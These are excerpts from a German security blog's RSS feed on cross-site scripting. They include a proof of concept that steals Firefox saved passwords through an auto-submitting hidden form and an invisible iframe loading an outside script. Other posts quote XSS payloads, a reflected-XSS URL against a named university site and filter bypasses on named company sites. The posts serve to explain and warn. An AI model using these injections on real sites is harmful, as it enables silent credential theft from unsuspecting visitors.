<hr style="clear:both" />
<h3>Ein Test</h3>
<p><img src="../../../../../../wp-content/images/xss-ff-pm-4.gif" alt="xss-ff-pm-4" /></p>
<hr style="clear:both" />
<h3>Das Formular zur Injektion</h3>
<p><a target="_blank" href="http://pm.18c.de/xss.php" >http://pm.18c.de/xss.php</a></p>

<div class="wp_syntax"><div class="code"><pre class="html4strict" style="font-family:monospace;"><span style="color: #00bbdd;">&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot;</span>
<span style="color: #00bbdd;">        &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&gt;</span>
<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">html</span> xmlns<span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;http://www.w3.org/1999/xhtml&quot;</span>&gt;</span>
<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">head</span>&gt;</span>
	<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">title</span>&gt;&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">title</span>&gt;</span>
<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">head</span>&gt;</span>
&nbsp;
<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">body</span> <span style="color: #000066;">onload</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;document.xss.submit()&quot;</span>&gt;</span>
&nbsp;
<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">form</span> <span style="color: #000066;">action</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;http://pm.mc0.de/suche.php&quot;</span> <span style="color: #000066;">method</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;post&quot;</span> <span style="color: #000066;">name</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;xss&quot;</span>&gt;</span>
<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">input</span> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;hidden&quot;</span> <span style="color: #000066;">name</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;s&quot;</span> <span style="color: #000066;">value</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;&amp;#x22;&gt;&lt;script src=http://pm.18c.de/ff.js&gt;&lt;/script&gt;</span></span>&quot; /&gt;
<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">form</span>&gt;</span>
&nbsp;
<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">body</span>&gt;</span>
<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">html</span>&gt;</span></pre></div></div>

<p>Dies Formular ist n&#246;tig, da die Daten per POST-Request &#252;bertragen werden.</p>
<hr style="clear:both" />
<h3>Das unsichtbare Iframe</h3>
<p><a target="_blank" href="http://pm.18c.de/iframe.php" >http://pm.18c.de/iframe.php</a><br />
<img src="../../../../../../wp-content/images/xss-ff-pm-5.gif" alt="xss-ff-pm-5" /><br />
Ein echter Angreifer w&#252;rde die Zugangsdaten nat&#252;rlich nicht per Alert seinem Opfer anzeigen, sondern in einer Datei speichern oder sich per E-Mail zusenden lassen. F&#252;r ein PoC ist dies aber durchaus akzeptabel und hoffentlich eindringlich genug.</p>

<div class="wp_syntax"><div class="code"><pre class="html4strict" style="font-family:monospace;"><span style="color: #00bbdd;">&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Strict//EN&quot;</span>
<span style="color: #00bbdd;">        &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd&quot;&gt;</span>
<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">html</span> xmlns<span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;http://www.w3.org/1999/xhtml&quot;</span>&gt;</span>
<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">head</span>&gt;</span>
	<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">title</span>&gt;</span>iframe: XSS Demo Password Manager<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">title</span>&gt;</span>
<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">head</span>&gt;</span>
<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">body</span>&gt;</span>
&nbsp;
<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">h2</span>&gt;</span>iframe: XSS Demo Password Manager<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">h2</span>&gt;</span>
&nbsp;
<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">iframe</span> <span style="color: #000066;">src</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;http://pm.18c.de/xss.php&quot;</span> <span style="color: #000066;">style</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;display:none&quot;</span>&gt;&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">iframe</span>&gt;</span>
&nbsp;
<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">body</span>&gt;</span>
<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">html</span>&gt;</span></pre></div></div>

<hr style="clear:both" />
Gibt sich der Angreifer etwas M&#252;he, so kann er leicht an Zugangsdaten kommen und dies ohne dass das Opfer irgendetwas von dem Angriff mitbekommt.</p>
<p>Da der Besucher einer Website nichts gegen Sicherheitsl&#252;cken in dieser tun kann, bleiben ihm nur die folgende M&#246;glichkeiten, dem Problem zu begegnen:</p>
<ul>
<li>Den Passwort-Manager im Firefox deaktivieren.</li>
<li>Ein kostenloses Add-on wie <a target="_blank" href="https://addons.mozilla.org/de/firefox/addon/secure-login/" >Secure Login</a> (addons.mozilla.org) nutzen, welches erst nach einem Klick auf ein Icon das Login-Formular ausf&#252;llt. (Wie im Opera.)</li>
<li>Ein Programm zur Verwaltung von Zugangsdaten w&#228;re <a target="_blank" href="http://agilewebsolutions.com/onepassword" >1Passwort</a> (agilewebsolutions.com), welches es f&#252;r OS-X und Windows gibt. Ist die Browser-Erweiterung aktiviert, so wird auch hier, erst nach einem Klick auf ein Icon das Login-Formular ausgef&#252;llt. Nutzt man verschiedene Betriebssysteme und auch mobile Ger&#228;te, so ist dies eine gute Wahl. Allerdings ist diese L&#246;sung nicht kostenlos.</li>
</ul>
<p>Es gibt auch die M&#246;glichkeit mehr als einen (z.B. mit Fakedaten) Account f&#252;r eine Website im Passwort-Manager anzulegen, damit ein Formular nicht automatisch ausgef&#252;llt wird. Ist der echte Benutzername dem Angreifer bekannt, so kann er diesen in dem JavaScript vorgeben und bekommt das dazu passende Passwort. Da Angriffe zum Teil sehr zielgerichtet auf bestimmte Personen erfolgen, ist diese M&#246;glichkeit nicht zu empfehlen.<br />
<br style="clear:both" /><br />
Ich hoffe, dass dieses Beispiel veranschaulicht, wie gef&#228;hrlich Cross-Site Scripting sein kann &mdash; denn nach wie vor wird XSS untersch&#228;tzt.</p>
]]></content:encoded>
			<wfw:commentRss>http://meingottundmeinewelt.de/2011/04/27/xss-passwort-manager-im-firefox/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Einfallstor Web Application Firewall</title>
		<link>http://meingottundmeinewelt.de/2011/04/21/einfallstor-web-application-firewall/</link>
		<comments>http://meingottundmeinewelt.de/2011/04/21/einfallstor-web-application-firewall/#comments</comments>
		<pubDate>Thu, 21 Apr 2011 14:30:39 +0000</pubDate>
		<dc:creator>ich</dc:creator>
				<category><![CDATA[Sicherheit]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://meingottundmeinewelt.de/?p=6098</guid>
		<description><![CDATA[&#8220;Einfallstor Web-Applikationen und Webseiten&#8221; (computerwelt.at) Im Auftrag von Barracuda Networks hat das Ponemon Institute zu Beginn dieses Jahres knapp 640 IT- und IT-Security-Fachleute zu ihrer Sicht auf Web Application Security befragt. 69 Prozent verlassen sich auf Netzwerk Firewalls und nicht auf Web Application Firewalls. 72 Prozent testen weniger als zehn Prozent ihrer Web-Applikationen. 73 Prozent [...]]]></description>
			<content:encoded><![CDATA[<p>&#8220;<a target="_blank" href="http://www.computerwelt.at/detailArticle.asp?a=134278&#038;n=4" >Einfallstor Web-Applikationen und Webseiten</a>&#8221; (computerwelt.at)</p>
<blockquote><p>Im Auftrag von Barracuda Networks hat das Ponemon Institute zu Beginn dieses Jahres knapp 640 IT- und IT-Security-Fachleute zu ihrer Sicht auf Web Application Security befragt.
</p></blockquote>
<ul>
<li>69 Prozent verlassen sich auf Netzwerk Firewalls und nicht auf Web Application Firewalls.</li>
<li>72 Prozent testen weniger als zehn Prozent ihrer Web-Applikationen.</li>
<li>73 Prozent wurden in den letzten 24 Monaten erfolgreich angegriffen.</li>
</ul>
<p>Da sieht Paul Judge, Chief Research Officer von Barracuda Networks, nat&#252;rlich noch einen gro&#223;en Markt f&#252;r WAFs.</p>
<p>Barracuda&#8230; Barracuda&#8230; da war doch was: &#8220;<a target="_blank" href="http://heise.de/-1226365" >Datendiebstahl bei Netzwerk-Sicherheitsfirma</a>&#8221; (heise.de) Computerwelt hatte &#252;ber diesen Einbruch nicht berichtet, der Lohn daf&#252;r ist wohl die <strike>nicht gekennzeichnete Werbeanzeige</strike> exklusive Information. ;O)</p>
<p>An den L&#252;cken in den Websites von Barracuda hat sich nach meinem Blogeintrag (<a href="http://meingottundmeinewelt.de/2011/04/13/blacklisting-ist-noch-immer-unsicher/" >Blacklisting ist noch immer unsicher</a>) nichts wesentliches ge&#228;ndert, also kann es nicht so weit her sein, mit der Qualit&#228;t der Barracuda-WAFs.<br />
<br style="clear:both" /><br />
<a target="_blank" href="http://de.wikipedia.org/wiki/Web_Application_Firewall" >Web Application Firewall</a> (de.wikipedia.org)</p>
<blockquote><p>Eine Web Application Firewall (WAF) ist eine Technologie, die Web-Anwendungen vor Angriffen &#252;ber das HTTP (Hypertext Transfer Protocol) sch&#252;tzen soll. (&#8230;)</p>
<p>Gegen&#252;ber klassischen Firewalls und Intrusion Detection Systemen (IDS) untersucht eine WAF die Kommunikation auf der Anwendungsebene. Dazu ist normalerweise keine &#196;nderung an der zu sch&#252;tzenden Web-Anwendung n&#246;tig.</p></blockquote>
<p>Ist an der Web-Anwendung keine &#196;nderung erforderlich, so wird daran auch nichts ge&#228;ndert, sondern nur der Filter der WAF justiert, und genau da ist das Problem. Es wird also nicht an dem eigentlichen Problem gearbeitet, sondern nur an den Symptomen rumgedoktert und &mdash; was noch viel schlimmer ist, die verantwortlichen Programmierer sorgen auch bei &#196;nderungen oder der Neuentwicklung einer Anwendung, nicht daf&#252;r, dass diese sicher ist, warum auch?, die WAF h&#228;lt ja alles ab. :O|</p>
<p>Bei meinen Checks habe ich es immer wieder mit Kunden zutun die genau dieses Rumdoktern an L&#252;cken zeigen. Ein Extrembeispiel ist ein Dienstleister der eine IBE (internet booking engine) anbietet. Ich teste auch Reiseanbieter und dabei eben auch die verwendete IBE. Dem speziellen Dienstleister muss ich die Gef&#228;hrlichkeit von verschiedenen HTML-Tags oder JavaScript-Funktionen erst drastisch vorf&#252;hren, bevor er sie in die Liste der zu entfernenden Eintr&#228;ge aufnimmt. Ich finde eine L&#252;cke und die WAF bekommt einen Listeneintrag mehr, anstatt dass der Dienstleister generell alles was nach HTML oder JavaScript aussieht rausfiltert. Als Begr&#252;ndung f&#252;r sein Verhalten gibt der Dienstleister an, dass er seinen Kunden auch HTML in den Beschreibungstexten erlaubt, nur, die Kunden benutzen nur <code>&lt;b&gt;</code>, <code>&lt;br&gt;</code> und <code>&lt;hr&gt;</code>, also k&#246;nnte die WAF alles au&#223;er diese Tags verwerfen. Die Kunden benutzen auch f&#252;r die Fettschrift wirklich nur den nackten HTML-Tag ohne CSS. Wird HTML oder JavaScript um einen neuen Tag bzw. eine neue Funktion erweitert, so stehen alle Kunden, die diese spezielle IBE benutzen, im Regen, also dem Angreifer ungesch&#252;tzt ausgeliefert.<br />
<br style="clear:both" /><br />
Der Einsatz einer Web Application Firewall verf&#252;hrt geradezu den Programmierer zur schlampigen Arbeit, da er sich auf einen zweifelhaften Schutz verl&#228;sst. Um die Analyse von Logfiles und die Durchf&#252;hrung von Penntests kommt man auch mit einer WAF nicht herum, auch in Anbetracht der Tatsache, dass auch fremder Code (Bibliotheken, Erweiterungen, etc.) in einer Applikation stecken kann, der nicht einem Codereview unterzogen wurde.</p>
<p>Eine Web Application Firewall ist kein Allheilmittel, sondern nur ein Baustein der Web Application Security.</p>
]]></content:encoded>
			<wfw:commentRss>http://meingottundmeinewelt.de/2011/04/21/einfallstor-web-application-firewall/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Blacklisting ist noch immer unsicher</title>
		<link>http://meingottundmeinewelt.de/2011/04/13/blacklisting-ist-noch-immer-unsicher/</link>
		<comments>http://meingottundmeinewelt.de/2011/04/13/blacklisting-ist-noch-immer-unsicher/#comments</comments>
		<pubDate>Wed, 13 Apr 2011 10:36:33 +0000</pubDate>
		<dc:creator>ich</dc:creator>
				<category><![CDATA[Sicherheit]]></category>
		<category><![CDATA[SQLi]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://meingottundmeinewelt.de/?p=6027</guid>
		<description><![CDATA[&#8220;Datendiebstahl bei Netzwerk-Sicherheitsfirma&#8221; (heise.de) (&#8230;) US-Sicherheitsfirma Barracuda Networks (&#8230;) ist nach eigenen Angaben &#8220;der weltweite Marktf&#252;hrer f&#252;r E-Mail- und Web-Sicherheit&#8221;. Wenn so Marktf&#252;hrer arbeiten&#8230; OMG! Das Unternehmen berichtet, dass der Webauftritt zwar von der firmeneigenen Web Application Firewall gesch&#252;tzt werde, diese jedoch f&#252;r Wartungsarbeiten am Abend vor dem Angriff heruntergefahren wurde. Ich halte diese Aussage [...]]]></description>
			<content:encoded><![CDATA[<p>&#8220;<a target="_blank" href="http://heise.de/-1226365" >Datendiebstahl bei Netzwerk-Sicherheitsfirma</a>&#8221; (heise.de)</p>
<blockquote><p>(&#8230;) US-Sicherheitsfirma Barracuda Networks (&#8230;) ist nach eigenen Angaben &#8220;der weltweite Marktf&#252;hrer f&#252;r E-Mail- und Web-Sicherheit&#8221;.</p></blockquote>
<p>Wenn so Marktf&#252;hrer arbeiten&#8230; OMG!</p>
<blockquote><p>Das Unternehmen berichtet, dass der Webauftritt zwar von der firmeneigenen Web Application Firewall gesch&#252;tzt werde, diese jedoch f&#252;r Wartungsarbeiten am Abend vor dem Angriff heruntergefahren wurde.</p></blockquote>
<p>Ich halte diese Aussage f&#252;r eine Schutzbehauptung.</p>
<p>Offensichtlich wird per Blacklisting versucht Angriffe abzuwehren. In einer Seite wird ein <code><a href="../../../../../../wp-content/images/barracuda_com-1.gif" rel="lightbox[barracuda]" title="barracuda: img-Tag">&lt;img src=...</a></code> rausgefiltert und blockiert, aber ein <code><a href="../../../../../../wp-content/images/barracuda_com-2.gif" rel="lightbox[barracuda]" title="barracuda: video-Tag">&lt;video poster=...</a></code> passiert unbehelligt den Filter und wird im Browser gerendert. Der Filter in der Fischleinseite ist aber nicht global f&#252;r alle Seiten gleich eingestellt. In einer anderen Seite wird auch das <a href="../../../../../../wp-content/images/barracuda_com-3.gif" rel="lightbox[barracuda]" title="barracuda: img-Tag 2">&lt;img src=&#8230;</a> nicht gefiltert.</p>
<p>Da hier HTML-Tags vergessen wurden und zum Teil auch JavaScript injiziert werden kann, muss man davon ausgehen, dass auch die Filterung gegen SQL-Injection fehlerhaft ist. Der Angreifer bzw. seine Software hat einfach nur alle ihm bekannten Pattern versucht und dabei eine oder mehrere L&#252;cken gefunden. Die Krux beim Blacklisting ist eben, man muss st&#228;ndig nachjustieren, weil man etwas vergessen hat oder weil es neue Tags (HTML5) gibt, die die Browser akzeptieren.<br />
<br style="clear:both" /><br />
Hat man beim Blacklisting etwas vergessen,<br />
so kann sich eine schwerwiegende Sicherheitsl&#252;cke auftun.</p>
<p>Hat man beim Whitelisting etwas vergessen,<br />
so wird maximal eine Seite nicht korrekt angezeigt.</p>
<p>Womit mag man lieber umgehen?<br />
<br style="clear:both" /><br />
<br style="clear:both" /><br />
&#8220;<a target="_blank" href="http://www.gulli.com/news/kabeleins-de-sat1-de-sicherheitsl-cken-mit-hilfe-von-gulli-com-geschlossen-2011-04-12" >kabeleins.de &#038; sat1.de: Sicherheitsl&#252;cken mit Hilfe von gulli.com geschlossen</a>&#8221; (gulli.com)<br />
Bevor man verk&#252;ndet dass eine Sicherheitsl&#252;cke geschlossen wurde, sollte man sich evtl. noch einmal r&#252;ckversichern&#8230;</p>
<p><a href="../../../../../../wp-content/images/sat1_de.jpg" rel="lightbox[satkabel1]" title="sat1.de: xss">Beispiel 1</a> | <a href="../../../../../../wp-content/images/kabeleins_de.jpg" rel="lightbox[satkabel1]" title="kabeleins.de: xss">Beispiel 2</a></p>
<p>Auch hier wird Blacklisting betrieben. Etwas Verschleierung via <code>String.fromCharCode</code> bringt den Filter dazu, alles ungefiltert durch zu lassen.</p>
]]></content:encoded>
			<wfw:commentRss>http://meingottundmeinewelt.de/2011/04/13/blacklisting-ist-noch-immer-unsicher/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>XSS: &#8220;&#8230;more than 200 characters.&#8221;</title>
		<link>http://meingottundmeinewelt.de/2011/03/29/xss-more-than-200-characters/</link>
		<comments>http://meingottundmeinewelt.de/2011/03/29/xss-more-than-200-characters/#comments</comments>
		<pubDate>Tue, 29 Mar 2011 17:44:25 +0000</pubDate>
		<dc:creator>ich</dc:creator>
				<category><![CDATA[Sicherheit]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://meingottundmeinewelt.de/?p=5937</guid>
		<description><![CDATA[Vor f&#252;nf Wochen verschickte ich mal wieder einen Hinweis zu XSS-L&#252;cken. Die Firma an die die E-Mail ging bet&#228;tigt sich im weiten Feld der IT-Security. Die erste L&#252;cke wurde innerhalb weniger Stunden gefixt, die zweite L&#252;cke besteht zur Zeit noch immer. Die erste Injektion war mein &#252;bliches &#34;&#62;xss: Dies sah zun&#228;chst nach einer leichten Aufgabe [...]]]></description>
			<content:encoded><![CDATA[<p>Vor f&#252;nf Wochen verschickte ich mal wieder einen Hinweis zu XSS-L&#252;cken. Die Firma an die die E-Mail ging bet&#228;tigt sich im weiten Feld der IT-Security. Die erste L&#252;cke wurde innerhalb weniger Stunden gefixt, die zweite L&#252;cke besteht zur Zeit noch immer.</p>
<p>Die erste Injektion war mein &#252;bliches <code>&quot;&gt;xss</code>:<br />
<img src="../../../../../../wp-content/images/xss-200-1.gif" alt="xss-200-1" /><br />
<img src="../../../../../../wp-content/images/xss-200-2.gif" alt="xss-200-2" /><br />
Dies sah zun&#228;chst nach einer leichten Aufgabe aus, einfach nur den Kommentar vorzeitig abbrechen:<br />
<img src="../../../../../../wp-content/images/xss-200-3.gif" alt="xss-200-3" /><br />
<img src="../../../../../../wp-content/images/xss-200-4.gif" alt="xss-200-4" /><br />
Tja, so wird das nichts. :O)<br />
<br style="clear:both" /><br />
Nach einigen Versuchen mit l&#228;ngeren Injektionen fiel mir etwas in den Scho&#223;:<br />
<img src="../../../../../../wp-content/images/xss-200-5.gif" alt="xss-200-5" /><br />
<img src="../../../../../../wp-content/images/xss-200-6.gif" alt="xss-200-6" /><br />
Ups!? Was ist das?!</p>
<p>Die eigentliche L&#252;cke steckt nicht, wie Anfangs vermutet, in den unn&#246;tigen Kommentaren:<br />
<img src="../../../../../../wp-content/images/xss-200-7.gif" alt="xss-200-7" /><br />
<img src="../../../../../../wp-content/images/xss-200-8.gif" alt="xss-200-8" /><br />
Besteht die Injektion aus weniger als 200 Zeichen, so wird korrekt gefiltert, d.h. der Bug steckt in der Kontrollfunktion f&#252;r die E-Mail-Adresse bzw. Seriennummer.<br />
<br style="clear:both" /><br />
Wie man solche L&#252;cken findet?</p>
<p>Wenn ich mir eine Seite anschaue, dann ist auch immer viel Intuition dabei, hier ein Zeilenumbruch zu viel, dort springt eine Grafik, Kommentare die Teile von Injektionen ausgeben oder die wechselnde Verwendung von &quot; oder &acute; oder das g&#228;nzliche Fehlen dieser in HTML-Tags. Der Gesamteindruck zeigt mir meist wo es sich lohnt weiter zu bohren und wo eher nicht. Zum Teil ist es auch nur ein Bauchgef&#252;hl, welches ich gar nicht so konkret in Worte fassen kann, da versuche ich dann mit entsprechenden Google-Suchanfragen diesem Gef&#252;hl nachzugehen. Von daher sind meine Penntests nie gleich, auch wenn eine Seite der anderen auf den ersten Blick gleichen sollte. Schon der Unterschied der Version eines CMS oder Webservers kann den Ausschlag des Pendels in die eine oder andere Richtung bedeuten.</p>
<p>Finde ich beispielsweise verschiedene Arten von Encoding von Sonderzeichen</p>
<ul>
<li><code>&amp;quote;</code></li>
<li><code>&amp;#x22;</code></li>
<li><code>%22</code></li>
<li><code>\&quot;</code></li>
</ul>
<p>in einer einzelnen Seite, so ist ersichtlich, dass es keine zentrale Filterung gibt. Wo es keinen zentralen Filter gibt, dort findet man i.d.R. viele K&#246;che, die ihr eigenes Filters&#252;ppchen kochen und irgendwer vergisst immer etwas. Der eine filtert alles sehr streng, scheint sich wirklich gut &#252;berlegt zu haben was gefiltert wird und was nicht, aber der andere kennt nur <code>&lt;img src=...</code> aber <code>&lt;video poster=...</code> ist noch Neuland.<br />
<br style="clear:both" /><br />
Wie man sieht, mir wird nicht langweilig. Ich finde immer wieder neue Angriffspunkte, um irgendwo, irgendeine L&#252;cke zu finden. Es ist eine einfache Gleichung: Um so komplexer ein System ist, um so mehr Fehler sind m&#246;glich.</p>
<p>Ich glaube das eigentliche Grundproblem besteht in dem weit verbreiteten Unverst&#228;ndnis &#252;ber die Abl&#228;ufe die am Ende zu dem gew&#252;nschten oder auch ungew&#252;nschtem Ergebnis f&#252;hrt.</p>
<p>Meinen ersten Computer, den <a target="_blank" href="http://de.wikipedia.org/wiki/VC20" >VC 20</a>, &#246;ffnete ich bereits am zweiten Tag, um zu sehen was darin werkelte, und warum, verflucht noch eins, meine ersten kleinen Programme nach dem Ausschalten weg waren. Ern&#252;chtert musste ich erst einmal feststellen, dass ich nichts verstand. Der Verk&#228;ufer h&#228;tte mir ja auch sagen k&#246;nnen das ich noch eine <a target="_blank" href="http://de.wikipedia.org/wiki/Datasette" >Datasette</a> brauchte und weder das RAM noch das ROM f&#252;r meine Programme als Speicher-nach-dem-Ausschalten tauglich waren. Schritt f&#252;r Schritt, lernte ich dazu. &#8217;84 dann der <a target="_blank" href="http://de.wikipedia.org/wiki/C64" >C64</a> aber diesmal gleich mit Diskettenlaufwerk <a target="_blank" href="http://de.wikipedia.org/wiki/VC1541" >1541</a>, denn die Datasette war einfach nur&#8230; Und nicht zu vergessen der Drucker, nat&#252;rlich auch von <a target="_blank" href="http://de.wikipedia.org/wiki/Commodore_International" >Commodore</a>: <a target="_blank" href="http://de.wikipedia.org/wiki/MPS_801" >MPS 801</a></p>
<p>Bei jedem neuen Ger&#228;t versuchte ich auszuloten was man damit anstellen konnte. Zum einen, das was der Hersteller meinte wozu es gedacht war, aber auch das, was der Hersteller bewusst verschwieg oder an was er einfach nicht gedacht hatte. Ich war schon ein Hacker bevor ich diesen Begriff kannte :O)</p>
<p>Wenn ich h&#246;rte das jemand auch einen Computer hat, habe ich mich mit ihm in Verbindung gesetzt, um immer entt&#228;uscht feststellen zu m&#252;ssen, dass nur ein Schachcomputer gemeint war. Internet gab es &#8217;83 noch nicht f&#252;r Normalsterbliche, nur die Mailboxen (nein nix Handy &lt;g&gt;) waren mein Draht in die Welt, und dies mit dem Epson CX-21, einem <a target="_blank" href="http://de.wikipedia.org/wiki/Akustikkoppler" >Akustikkoppler</a>. </p>
<p>(Alle Links f&#252;hren zu de.wikipedia.org)</p>
<p>Diese Grundneugier treibt mich noch heute an; zu verstehen warum etwas funktioniert oder auch nicht, bzw. nicht so wie erwartet.<br />
<br style="clear:both" /><br />
Der Normaluser benutzt sein technisches Spielzeug i.d.R. ohne zu hinterfragen, warum und wie es funktioniert, leider scheint diese Einstellung auch bei vielen Programmierern vorzuherrschen.</p>
<p>Wie kann man einen Filter auf<br />
<code>&lt;script&gt;alert(1)&lt;/script&gt;</code> abrichten, aber<br />
<code>&lt;img src=x onerror=alert(1)&gt;</code> unbeachtet durchlassen?</p>
<p>Das nach 200 Zeichen der Filter auf der IT-Security-Website einfach nicht benutzt wird, geh&#246;rt wohl in eine &#228;hnliche Kategorie.</p>
<p>Wirklich bemerkenswert und &#228;rgerlich ist diese L&#252;cke, weil sich der Otto Normal auf die Kompetenz der IT-Security-Firma verl&#228;sst. Wie soll Otto beurteilen was sicher und was unsicher ist, wenn nicht einmal die Firmen die sich angeblich mit IT-Security auskennen grundlegende Sicherheitsregeln beachten? Er kann es nicht. Am Ende sagt Otto &#8220;nein&#8221; zu diesem ganzen Computerzeug, weil er einfach verunsichert ist und dies zu recht.</p>
<p>Naja, ich will nicht klagen, so werde ich niemals arbeitslos. Den komischen Beigeschmack den ich manchmal bei meinem Job habe (immerhin verdiene ich mein Geld mit den Dummheiten anderer Leute), versuche ich mit den Hinweisen, wie an diese IT-Security-Firma, zu bek&#228;mpfen und einfach nur f&#252;r Spa&#223; und Blog, muss ja auch sein. :O)</p>
]]></content:encoded>
			<wfw:commentRss>http://meingottundmeinewelt.de/2011/03/29/xss-more-than-200-characters/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>BSI&#8230; XSS&#8230; Kurz daneben ist auch vorbei. ;O)</title>
		<link>http://meingottundmeinewelt.de/2011/03/13/bsi-xss-kurz-daneben-ist-auch-vorbei-o/</link>
		<comments>http://meingottundmeinewelt.de/2011/03/13/bsi-xss-kurz-daneben-ist-auch-vorbei-o/#comments</comments>
		<pubDate>Sun, 13 Mar 2011 13:52:44 +0000</pubDate>
		<dc:creator>ich</dc:creator>
				<category><![CDATA[Korinthenkacker]]></category>
		<category><![CDATA[Sicherheit]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://meingottundmeinewelt.de/?p=5859</guid>
		<description><![CDATA[&#8220;Schwachstellen in Standardsoftware und Webauftritten werden h&#228;ufig f&#252;r Angriffe genutzt&#8221; (bsi.bund.de) Aus dem PDF Seite 12: Cross-Site-Scripting Ein weiteres Problem ist das „Cross-Site-Scripting“: Dabei nimmt eine Webanwendung Daten von einem Nutzer an und sendet sie ungepr&#252;ft an einen anderen Browser weiter. So kann ein Angreifer zum Beispiel Skripte auf dem Rechner seines Opfers ausf&#252;hren. &#60;sezier&#62; [...]]]></description>
			<content:encoded><![CDATA[<p>&#8220;<a target="_blank" href="https://www.bsi.bund.de/ContentBSI/Presse/Pressemitteilungen/Presse2011/Quartalslagebericht_04_2010_11032011.html" >Schwachstellen in Standardsoftware und Webauftritten werden h&#228;ufig f&#252;r Angriffe genutzt</a>&#8221; (bsi.bund.de)</p>
<p>Aus dem PDF Seite 12:</p>
<blockquote><p><strong>Cross-Site-Scripting</strong></p>
<p>Ein weiteres Problem ist das „Cross-Site-Scripting“: Dabei nimmt eine Webanwendung Daten von einem Nutzer an und sendet sie ungepr&#252;ft an einen anderen Browser weiter. So kann ein Angreifer zum Beispiel Skripte auf dem Rechner seines Opfers ausf&#252;hren.</p></blockquote>
<p>&lt;sezier&gt;</p>
<blockquote><p>Dabei nimmt eine Webanwendung Daten von einem Nutzer an</p></blockquote>
<p>Richtig&#8230;</p>
<blockquote><p>und sendet sie ungepr&#252;ft</p></blockquote>
<p>richtig&#8230;</p>
<blockquote><p>an einen anderen Browser weiter.</p></blockquote>
<p>nicht so ganz richtig.<br />
&lt;/sezier&gt;</p>
<h2>Reflexives Cross-Site Scripting</h2>
<p>Bei reflexivem XSS sendet das Opfer unbemerkt selber den Schadcode an den Server, der von diesem zur&#252;ckgesendet und vom Browser des Opfers interpretiert wird.</p>
<p>Der Angreifer verteilt eine mit unerw&#252;nschtem Code erweiterte URL, via Kurz-URL (bit.ly, tinyurl.com, goo.gl, etc.) &#252;ber Twitter, Skype, Facebook, Blogs, Kommentare jeglicher Art oder meinetwegen auch per E-Mail, an seine Opfer. Das Opfer klickt den Link zur Kurz-URL an und sendet damit den unerw&#252;nschten Code selber an den Server. Bei dem Code handelt es sich meist um JavaScript, HTML und/oder CSS. Der Server verarbeitet diesen Code aber nicht, sondern sendet ihn ungefiltert (die XSS-L&#252;cke) an den Client, den Browser des Opfers, zur&#252;ck und dieser interpretiert dies.</p>
<p>Szenario:<br />
Ein Angreifer findet eine XSS-L&#252;cke in einer Website, beispielsweise in der der Harvard University:<br />
<code>http://news.harvard.edu/gazette/<br />
?s=<span style="color:red">&lt;/script&gt;&lt;script&gt;alert('Dumpfbacken!')&lt;/script&gt;</span></code></p>
<p>bit.ly macht daraus: http://bit.ly/gU9q96</p>
<p>Der Angreifer verteilt nur diese Kurz-URL.</p>
